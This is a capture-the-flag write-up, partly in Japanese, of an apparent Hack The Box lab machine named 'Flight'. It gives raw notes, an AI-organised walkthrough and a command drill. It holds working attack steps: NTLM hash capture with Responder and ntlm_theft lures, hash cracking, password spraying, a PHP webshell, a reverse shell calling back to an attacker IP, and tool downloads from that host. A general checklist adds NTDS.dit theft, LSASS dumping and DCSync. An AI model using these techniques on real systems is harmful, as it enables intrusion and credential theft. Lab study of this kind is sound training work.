Flight¶
Flag-Critical Knowledge¶
トリガー、攻撃パターン¶
attack summary¶
VHost discovery: school.flight.htb
→ UNC include to attacker SMB
→ capture svc_apache NTLMv2
→ crack hash
→ password reuse to S.Moon
→ writable Shared share
→ ntlm_theft lure
→ capture/crack C.Bum
→ writable Web share
→ PHP webshell / reverse shell
→ RunasCs as C.Bum
→ final admin hash / psexec path in notes
walkthrough¶
└─$ cat 10.129.6.197.nmap-sVC
# Nmap 7.95 scan initiated Thu Mar 19 13:50:23 2026 as: /usr/lib/nmap/nmap --privileged -sVC -p 53,80,88,135,139,389,445,464,593,636,3268,3269 -Pn -T4 -oN 10.129.6.197/10.129.6.197.nmap-sVC 10.129.6.197
Nmap scan report for 10.129.6.197
Host is up (0.60s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: g0 Aviation
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-03-19 11:50:32Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
Service Info: Host: G0; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2026-03-19T11:51:02
|_ start_date: N/A
|_clock-skew: 6h59m58s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Mar 19 13:51:51 2026 -- 1 IP address (1 host up) scanned in 88.40 seconds
┌──(kali㉿kali)-[~/htb/Flight/10.129.6.197]
└─
└─$ cat 10.129.6.197.nmap-sU-sVC
# Nmap 7.95 scan initiated Thu Mar 19 13:51:59 2026 as: /usr/lib/nmap/nmap --privileged -sU -sVC -p 53,88,123 -Pn -T4 -oN 10.129.6.197/10.129.6.197.nmap-sU-sVC 10.129.6.197
Nmap scan report for 10.129.6.197
Host is up (0.54s latency).
PORT STATE SERVICE VERSION
53/udp open domain (generic dns response: SERVFAIL)
| fingerprint-strings:
| DNS-SD:
| _services
| _dns-sd
| _udp
| local
| NBTStat:
|_ CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
88/udp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-03-19 11:52:00Z)
123/udp open ntp NTP v3
| ntp-info:
|_
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-UDP:V=7.95%I=7%D=3/19%Time=69BB80FF%P=aarch64-unknown-linux-gnu%
SF:r(DNS-SD,2E,"\0\0\x80\x82\0\x01\0\0\0\0\0\0\t_services\x07_dns-sd\x04_u
SF:dp\x05local\0\0\x0c\0\x01")%r(NBTStat,32,"\x80\xf0\x80\x82\0\x01\0\0\0\
SF:0\0\0\x20CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\0\0!\0\x01");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 7h00m05s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Mar 19 13:52:41 2026 -- 1 IP address (1 host up) scanned in 42.22 seconds
┌──(kali㉿kali)-[~/htb/Flight/10.129.6.197]
gobuster vhost -u http://flight.htb/ -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt --ad --rua
gobuster vhost -u http://flight.htb/ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain
school.flight.htb
GET /index.php?view=//127.0.0.1/C$/Windows/system32/drivers/etc/hosts HTTP/1.1
GET /index.php?view=//10.10.17.30/test HTTP/1.1
sudo vim /etc/responder/Responder.conf
SMB = On HTTP = On
sudo systemctl stop smbd
sudo systemctl stop apache2
sudo responder -I tun0
└─$ sudo responder -I tun0
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.6.0
To support this project:
Github -> https://github.com/sponsors/lgandx
Paypal -> https://paypal.me/PythonResponder
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
MDNS [ON]
DNS [ON]
DHCP [OFF]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
MQTT server [ON]
RDP server [ON]
DCE-RPC server [ON]
WinRM server [ON]
SNMP server [ON]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Force ESS downgrade [OFF]
[+] Generic Options:
Responder NIC [tun0]
Responder IP [10.10.17.30]
Responder IPv6 [dead:beef:4::111c]
Challenge set [random]
Don't Respond To Names ['ISATAP', 'ISATAP.LOCAL']
Don't Respond To MDNS TLD ['_DOSVC']
TTL for poisoned response [default]
[+] Current Session Variables:
Responder Machine Name [WIN-IEQTK9WB8FB]
Responder Domain Name [PW24.LOCAL]
Responder DCE-RPC Port [45352]
[+] Listening for events...
[SMB] NTLMv2-SSP Client : 10.129.6.197
[SMB] NTLMv2-SSP Username : flight\svc_apache
[SMB] NTLMv2-SSP Hash : svc_apache::flight:55d882e91e248603:D8F0439235D5D9DF07708867816530C8:010100000000000080CAB72EB6B7DC01EF263B21D7ED1D100000000002000800500057003200340001001E00570049004E002D0049004500510054004B0039005700420038004600420004003400570049004E002D0049004500510054004B003900570042003800460042002E0050005700320034002E004C004F00430041004C000300140050005700320034002E004C004F00430041004C000500140050005700320034002E004C004F00430041004C000700080080CAB72EB6B7DC01060004000200000008003000300000000000000000000000003000009BFDF9E264A3CAC10335CB331568328042E58BB5C7F1A64164AF4EB62515EFCA0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310037002E00330030000000000000000000
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
svc_apache:S@Ss!K@*t13
netexec smb flight.htb -u 'svc_apache' -p 'S@Ss!K@*t13' --users
└─$ netexec smb flight.htb -u 'svc_apache' -p 'S@Ss!K@*t13' --users
SMB 10.129.6.197 445 G0 [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB 10.129.6.197 445 G0 [+] flight.htb\svc_apache:S@Ss!K@*t13
SMB 10.129.6.197 445 G0 -Username- -Last PW Set- -BadPW- -Description-
SMB 10.129.6.197 445 G0 Administrator 2022-09-22 20:17:02 0 Built-in account for administering the computer/domain
SMB 10.129.6.197 445 G0 Guest <never> 0 Built-in account for guest access to the computer/domain
SMB 10.129.6.197 445 G0 krbtgt 2022-09-22 19:48:01 0 Key Distribution Center Service Account
SMB 10.129.6.197 445 G0 S.Moon 2022-09-22 20:08:22 0 Junion Web Developer
SMB 10.129.6.197 445 G0 R.Cold 2022-09-22 20:08:22 0 HR Assistant
SMB 10.129.6.197 445 G0 G.Lors 2022-09-22 20:08:22 0 Sales manager
SMB 10.129.6.197 445 G0 L.Kein 2022-09-22 20:08:22 0 Penetration tester
SMB 10.129.6.197 445 G0 M.Gold 2022-09-22 20:08:22 0 Sysadmin
SMB 10.129.6.197 445 G0 C.Bum 2022-09-22 20:08:22 0 Senior Web Developer
SMB 10.129.6.197 445 G0 W.Walker 2022-09-22 20:08:22 0 Payroll officer
SMB 10.129.6.197 445 G0 I.Francis 2022-09-22 20:08:22 0 Nobody knows why he's here
SMB 10.129.6.197 445 G0 D.Truff 2022-09-22 20:08:22 0 Project Manager
SMB 10.129.6.197 445 G0 V.Stevens 2022-09-22 20:08:22 0 Secretary
SMB 10.129.6.197 445 G0 svc_apache 2022-09-22 20:08:23 0 Service Apache web
SMB 10.129.6.197 445 G0 O.Possum 2022-09-22 20:08:23 0 Helpdesk
SMB 10.129.6.197 445 G0 [*] Enumerated 15 local users: flight
┌──(kali㉿kali)-[~/htb/Flight]
Administrator krbtgt S.Moon R.Cold G.Lors L.Kein M.Gold C.Bum W.Walker I.Francis D.Truff V.Stevens O.Possum
nxc smb flight.htb -u userlist.txt -p 'S@Ss!K@*t13' --continue-on-success
──(kali㉿kali)-[~/htb/Flight]
└─$ netexec smb flight.htb -u userlist.txt -p 'S@Ss!K@*t13' --continue-on-success
SMB 10.129.6.197 445 G0 [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB 10.129.6.197 445 G0 [-] flight.htb\Administrator:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.129.6.197 445 G0 [-] flight.htb\krbtgt:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.129.6.197 445 G0 [+] flight.htb\S.Moon:S@Ss!K@*t13
SMB 10.129.6.197 445 G0 [-] flight.htb\R.Cold:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.129.6.197 445 G0 [-] flight.htb\G.Lors:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.129.6.197 445 G0 [-] flight.htb\L.Kein:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.129.6.197 445 G0 [-] flight.htb\M.Gold:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.129.6.197 445 G0 [-] flight.htb\C.Bum:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.129.6.197 445 G0 [-] flight.htb\W.Walker:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.129.6.197 445 G0 [-] flight.htb\I.Francis:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.129.6.197 445 G0 [-] flight.htb\D.Truff:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.129.6.197 445 G0 [-] flight.htb\V.Stevens:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.129.6.197 445 G0 [-] flight.htb\O.Possum:S@Ss!K@*t13 STATUS_LOGON_FAILURE
┌──(kali㉿kali)-[~/htb/Flight]
└─$
nxc smb flight.htb -u 'svc_apache' -p 'S@Ss!K@*t13' --shares
nxc smb flight.htb -u 'S.Moon' -p 'S@Ss!K@*t13' --shares
─$ nxc smb flight.htb -u 'S.Moon' -p 'S@Ss!K@*t13' --shares
SMB 10.129.6.197 445 G0 [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB 10.129.6.197 445 G0 [+] flight.htb\S.Moon:S@Ss!K@*t13
SMB 10.129.6.197 445 G0 [*] Enumerated shares
SMB 10.129.6.197 445 G0 Share Permissions Remark
SMB 10.129.6.197 445 G0 ----- ----------- ------
SMB 10.129.6.197 445 G0 ADMIN$ Remote Admin
SMB 10.129.6.197 445 G0 C$ Default share
SMB 10.129.6.197 445 G0 IPC$ READ Remote IPC
SMB 10.129.6.197 445 G0 NETLOGON READ Logon server share
SMB 10.129.6.197 445 G0 Shared READ,WRITE
SMB 10.129.6.197 445 G0 SYSVOL READ Logon server share
SMB 10.129.6.197 445 G0 Users READ
SMB 10.129.6.197 445 G0 Web READ
┌──(kali㉿kali)-[~/htb/Flight]
└─$
自端末にSMBリクエストを送るファイルを作成
ntlm_theft https://github.com/Greenwolf/ntlm_theft
python3 ntlm_theft.py -g all -s 10.10.14.17 -f '@myfile'
─$ python ntlm_theft.py -g all -s 10.10.17.30 -f '@myfile'
/home/kali/htb/Flight/ntlm_theft/ntlm_theft.py:168: SyntaxWarning: invalid escape sequence '\l'
location.href = 'ms-word:ofe|u|\\''' + server + '''\leak\leak.docx';
Created: @myfile/@myfile.scf (BROWSE TO FOLDER)
Created: @myfile/@myfile-(url).url (BROWSE TO FOLDER)
Created: @myfile/@myfile-(icon).url (BROWSE TO FOLDER)
Created: @myfile/@myfile.lnk (BROWSE TO FOLDER)
Created: @myfile/@myfile.rtf (OPEN)
Created: @myfile/@myfile-(stylesheet).xml (OPEN)
Created: @myfile/@myfile-(fulldocx).xml (OPEN)
Created: @myfile/@myfile.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
Created: @myfile/@myfile-(handler).htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
Created: @myfile/@myfile-(includepicture).docx (OPEN)
Created: @myfile/@myfile-(remotetemplate).docx (OPEN)
Created: @myfile/@myfile-(frameset).docx (OPEN)
Created: @myfile/@myfile-(externalcell).xlsx (OPEN)
Created: @myfile/@myfile.wax (OPEN)
Created: @myfile/@myfile.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY)
Created: @myfile/@myfile.asx (OPEN)
Created: @myfile/@myfile.jnlp (OPEN)
Created: @myfile/@myfile.application (DOWNLOAD AND OPEN)
Created: @myfile/@myfile.pdf (OPEN AND ALLOW)
Created: @myfile/zoom-attack-instructions.txt (PASTE TO CHAT)
Created: @myfile/@myfile.library-ms (BROWSE TO FOLDER)
Created: @myfile/Autorun.inf (BROWSE TO FOLDER)
Created: @myfile/desktop.ini (BROWSE TO FOLDER)
Created: @myfile/@myfile.theme (THEME TO INSTALL
Generation Complete.
┌──(kali㉿kali)-[~/htb/Flight/ntlm_theft]
└─$
impacket-smbclient flight.htb/S.Moon:'S@Ss!K@*t13'@flight.htb
use Shared put shell.php
[SMB] NTLMv2-SSP Client : 10.129.6.197
[SMB] NTLMv2-SSP Username : flight.htb\c.bum
[SMB] NTLMv2-SSP Hash : c.bum::flight.htb:509f0118cd84ef53:9338FBB3ABAE0C0DC62DC42A9D238C48:010100000000000080CAB72EB6B7DC01FC5B27F5B4AF6A760000000002000800500057003200340001001E00570049004E002D0049004500510054004B0039005700420038004600420004003400570049004E002D0049004500510054004B003900570042003800460042002E0050005700320034002E004C004F00430041004C000300140050005700320034002E004C004F00430041004C000500140050005700320034002E004C004F00430041004C000700080080CAB72EB6B7DC01060004000200000008003000300000000000000000000000003000009BFDF9E264A3CAC10335CB331568328042E58BB5C7F1A64164AF4EB62515EFCA0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310037002E00330030000000000000000000
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
c.bum:Tikkycoll_431012284
nxc smb flight.htb -u 'c.bumM' -p 'Tikkycoll_431012284' --shares
┌──(kali㉿kali)-[~/htb/Flight/ntlm_theft/@myfile]
└─$ nxc smb flight.htb -u 'c.bum' -p 'Tikkycoll_431012284' --shares
SMB 10.129.6.197 445 G0 [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB 10.129.6.197 445 G0 [+] flight.htb\c.bum:Tikkycoll_431012284
SMB 10.129.6.197 445 G0 [*] Enumerated shares
SMB 10.129.6.197 445 G0 Share Permissions Remark
SMB 10.129.6.197 445 G0 ----- ----------- ------
SMB 10.129.6.197 445 G0 ADMIN$ Remote Admin
SMB 10.129.6.197 445 G0 C$ Default share
SMB 10.129.6.197 445 G0 IPC$ READ Remote IPC
SMB 10.129.6.197 445 G0 NETLOGON READ Logon server share
SMB 10.129.6.197 445 G0 Shared READ,WRITE
SMB 10.129.6.197 445 G0 SYSVOL READ Logon server share
SMB 10.129.6.197 445 G0 Users READ
SMB 10.129.6.197 445 G0 Web READ,WRITE
┌──(kali㉿kali)-[~/htb/Flight/ntlm_theft/@myfile]
└─$
shell.php
<?php
echo system($_GET['c']);
?>
impacket-smbclient flight.htb/c.bum:'Tikkycoll_431012284'@flight.htb
use Web
cd flight.htb
ls
put shell.php
curl 'http://flight.htb/shell.php?c=whoami'
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.17.30 LPORT=4444 -f exe -o rev.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.17.30 LPORT=5555 -f exe -o rev2.exe
rlwrap nc -lvnp 4444
impacket-smbclient flight.htb/c.bum:'Tikkycoll_431012284'@flight.htb
use Web
cd flight.htb
ls
put rev.exe
msfconsole use exploit/multi/handler set payload windows/x64/shell_reverse_tcp set LHOST 10.10.17.30 set LPORT 4444 run
rlwrap nc -lvnp 4444
curl 'http://flight.htb/shell.php?c=dir'
curl 'http://flight.htb/shell.php?c=C:\xampp\htdocs\flight.htb\rev.exe'
C:\xampp\htdocs\flight.htb
shell.php rev.exe
RunasCs
https://github.com/antonioCoco/RunasCs
アップロード
iwr -Uri http://10.10.17.30/winPEASx64.exe -OutFile winPEASx64.exe
iwr -Uri http://10.10.17.30/nc64.exe -OutFile nc64.exe
iwr -Uri http://10.10.17.30/mimikatz.exe -OutFile mimikatz.exe
iwr -Uri http://10.10.17.30/Rubeus.exe -OutFile Rubeus.exe
iwr -Uri http://10.10.17.30/RunasCs.exe -OutFile RunasCs.exe
iwr -Uri http://10.10.17.30/chisel.exe -OutFile chisel.exe
.\RunasCs.exe "C.Bum" "Tikkycoll_431012284" "C:\xampp\htdocs\flight.htb\rev.exe"
.\RunasCs.exe "C.bum" "Tikkycoll_431012284" "C:\xampp\htdocs\flight.htb\rev.exe"
chisel.exe
https://github.com/jpillora/chisel
wget https://github.com/jpillora/chisel/releases/download/v1.11.5/chisel_1.11.5_windows_amd64.zip
chisel server -p 18080 --reverse
.\chisel.exe client 10.10.17.30:18080 R:28000:127.0.0.1:8000
https://github.com/danielmiessler/SecLists/blob/master/Web-Shells/FuzzDB/cmd.aspx
wget https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Web-Shells/FuzzDB/cmd.aspx
C:\inetpub\development
iwr -Uri http://10.10.17.30/cmd.aspx -OutFile cmd.aspx
？？？
カンニング
psexec.py administrator@flight.htb -hashes aad3b435b51404eeaad3b435b51404ee:43bbfc530bab76141b12c8446e30c17c
＝＝＝＝
侵入できたらやること(Windowsドメインコントローラ ドメインユーザ) 目的：DC上で昇格 → NTDS取得
① 権限確認
whoami
whoami /groups
確認するもの： • Domain Admins に入っている？ • Backup Operators？ • Account Operators？ • SeBackupPrivilege ある？
② ローカル権限昇格（最優先）
whoami /priv
もし： • SeImpersonatePrivilege • SeAssignPrimaryTokenPrivilege があれば Potato系。
③ NTDS.dit取得
NTDS.dit は Active Directory のデータベースファイルです。
ここに 全ユーザーのパスワードハッシュが保存されています。
条件： • SYSTEM • Backup権限 通常は Domain Admin / Backup 権限が必要です。
取得できるもの： • 全ユーザーNTLM • Domain Admin • krbtgt
C:\Windows\NTDS\NTDS.dit
Volume Shadow Copy を使う
vssadmin create shadow /for=C:
確認 vssadmin list shadows
コピー copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\ntds.dit copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\SYSTEM
Kaliに持っていく
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
👉 取れたらドメイン制圧。
④ LSASSダンプ • Domain Admin • サービスアカウント がログインしている可能性高い。
lsass.exe には ログイン中ユーザーの認証情報が入っています。
privilege::debug
sekurlsa::logonpasswordsDCには：
⑤ DCSync もし Domain Admin権限取得したら： → 即ドメイン制圧
ドメインコントローラに対してパスワードハッシュをレプリケーション要求する攻撃です。
Impacket 版
secretsdump.py skylark.local/user:password@DC_IP
impacket-secretsdump skylark.com/Administrator:password@dc.skylark.com
Mimikatz 版
lsadump::dcsync /domain:skylark.local /user:Administrator
⑥ kerberoast setspn -T skylark -Q /
.\Rubeus.exe kerberoast
iwr -Uri http://10.10.17.30/winPEASx64.exe -OutFile winPEASx64.exe
iwr -Uri http://10.10.17.30/nc64.exe -OutFile nc64.exe
iwr -Uri http://10.10.17.30/mimikatz.exe -OutFile mimikatz.exe
iwr -Uri http://10.10.17.30/Rubeus.exe -OutFile Rubeus.exe
/var/www/html/RunasCs.exe
① AS-REP / Kerberos チケット取得
impacket-getTGT skylark.com/backup_service:'It4Server'
export KRB5CCNAME=backup_service.ccache
impacket-smbclient -k -no-pass skylark.com/backup_service@10.20.119.110
② Kerberoast
③ AD情報収集（重要） SharpHound.exe -c All
walkthrough(AI)¶
このAI版 walkthrough は、生メモの流れを攻撃チェーンとして整理したもの。Flight は Web の UNC 読み込みで NTLMv2 を捕獲し、パスワード再利用と writable share を使って段階的に権限を広げる。
1. VHost を発見する¶
まず通常の flight.htb だけでなく、仮想ホストを探す。school.flight.htb が見つかる。
gobuster vhost -u http://flight.htb/ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain
/etc/hosts に flight.htb と school.flight.htb を追加しておく。
2. UNC include で svc_apache の NetNTLMv2 を捕獲¶
school.flight.htb の view パラメータに UNC パスを渡すと、サーバー側から攻撃端末の SMB へ認証が飛ぶ。Responder で待ち受ける。
sudo vim /etc/responder/Responder.conf
sudo systemctl stop smbd
sudo systemctl stop apache2
sudo responder -I tun0
ブラウザまたは curl で UNC パスを踏ませる。
http://school.flight.htb/index.php?view=//<ATTACKER_IP>/test
ここで svc_apache の NetNTLMv2 hash を取得する。
3. svc_apache の hash を crack¶
取得した NetNTLMv2 hash を crack する。
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
得られる資格情報。
svc_apache / S@Ss!K@*t13
4. パスワード再利用を確認¶
svc_apache のパスワードを他ユーザーにも試すと、S.Moon で再利用されている。
netexec smb flight.htb -u 'svc_apache' -p 'S@Ss!K@*t13' --users
netexec smb flight.htb -u userlist.txt -p 'S@Ss!K@*t13' --continue-on-success
nxc smb flight.htb -u 'S.Moon' -p 'S@Ss!K@*t13' --shares
5. writable Shared で NTLM theft を仕掛ける¶
S.Moon は Shared 共有に書き込める。ntlm_theft で LNK / SCF などの lure ファイルを作り、共有に置く。
python3 ntlm_theft.py -g all -s <ATTACKER_IP> -f '@myfile'
impacket-smbclient flight.htb/S.Moon:'S@Ss!K@*t13'@flight.htb
use Shared
put @myfile.scf
Responder 側で C.Bum の NetNTLMv2 hash を捕獲する。
6. C.Bum の hash を crack し、Web 共有へ進む¶
C.Bum の hash を crack する。
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
得られる資格情報。
c.bum / Tikkycoll_431012284
共有を確認すると、Web に書き込み可能。
nxc smb flight.htb -u 'c.bum' -p 'Tikkycoll_431012284' --shares
7. Web 共有に PHP webshell を配置¶
PHP webshell を用意する。
<?php
echo system($_GET['c']);
?>
Web 共有へアップロードする。
impacket-smbclient flight.htb/c.bum:'Tikkycoll_431012284'@flight.htb
use Web
cd flight.htb
put shell.php
Web 経由でコマンド実行を確認する。
curl 'http://flight.htb/shell.php?c=whoami'
8. reverse shell と C.Bum 権限の実行¶
リバースシェル用 EXE を置き、webshell 経由または RunasCs で実行する。
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -f exe -o rev.exe
rlwrap nc -lvnp 4444
.\RunasCs.exe "C.Bum" "Tikkycoll_431012284" "C:\xampp\htdocs\flight.htb\rev.exe"
9. メモ上の最終確認¶
既存メモでは、最終的に Administrator hash を使った psexec パスを確認している。
psexec.py administrator@flight.htb -hashes aad3b435b51404eeaad3b435b51404ee:43bbfc530bab76141b12c8446e30c17c
10. 攻撃の流れまとめ¶
VHost discovery
→ school.flight.htb
→ UNC include で svc_apache NTLMv2 捕獲
→ hash crack
→ S.Moon への password reuse
→ writable Shared に ntlm_theft lure 配置
→ C.Bum NTLMv2 捕獲 / crack
→ writable Web に PHP webshell
→ reverse shell / RunasCs
→ Administrator hash の psexec パス
drill¶
VHost発見¶
gobuster vhost -u http://flight.htb/ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain
UNC includeでNTLMv2を捕獲¶
sudo vim /etc/responder/Responder.conf
sudo systemctl stop smbd
sudo systemctl stop apache2
sudo responder -I tun0
http://school.flight.htb/index.php?view=//<ATTACKER_IP>/test
svc_apacheのハッシュをクラック¶
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
svc_apacheでユーザー列挙、パスワード再利用確認¶
netexec smb flight.htb -u 'svc_apache' -p 'S@Ss!K@*t13' --users
netexec smb flight.htb -u userlist.txt -p 'S@Ss!K@*t13' --continue-on-success
nxc smb flight.htb -u 'S.Moon' -p 'S@Ss!K@*t13' --shares
writable SharedでNTLM theft¶
python3 ntlm_theft.py -g all -s <ATTACKER_IP> -f '@myfile'
impacket-smbclient flight.htb/S.Moon:'S@Ss!K@*t13'@flight.htb
use Shared
put @myfile.scf
C.Bumのハッシュをクラックして共有確認¶
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
nxc smb flight.htb -u 'c.bum' -p 'Tikkycoll_431012284' --shares
writable WebにPHP webshellを配置¶
<?php
echo system($_GET['c']);
?>
impacket-smbclient flight.htb/c.bum:'Tikkycoll_431012284'@flight.htb
use Web
cd flight.htb
put shell.php
curl 'http://flight.htb/shell.php?c=whoami'
リバースシェルとRunasCs¶
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -f exe -o rev.exe
rlwrap nc -lvnp 4444
.\RunasCs.exe "C.Bum" "Tikkycoll_431012284" "C:\xampp\htdocs\flight.htb\rev.exe"
メモ上の最終確認 / カンニング¶
psexec.py administrator@flight.htb -hashes aad3b435b51404eeaad3b435b51404ee:43bbfc530bab76141b12c8446e30c17c